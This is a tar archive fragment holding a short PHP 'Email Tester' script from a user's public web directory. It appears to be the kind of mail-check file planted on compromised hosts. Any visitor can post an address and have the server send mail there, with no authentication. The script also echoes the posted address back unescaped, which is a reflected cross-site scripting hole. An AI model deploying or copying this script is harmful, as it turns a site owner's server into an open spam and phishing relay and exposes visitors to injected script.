home/emeraadmin/public_html/test.php 0000644 00000001341 15167670277 0013611 0 ustar 00 Email Tester [Sending test].
';
if (!empty($_POST['email'])) {
if (!empty($_POST['email']) && trim($_POST['orderid']) != '') {
$rand = trim($_POST['orderid']);
} else {
$rand = rand();
}
mail(trim($_POST['email']),$_SERVER['HTTP_HOST']." - Sending is Working Fine. [Result] ID: (".$rand.")"," [Sending test].");
echo 'Send an report to ['.$_POST['email'].'] - ID: '.$rand.'';
echo '';
}
?>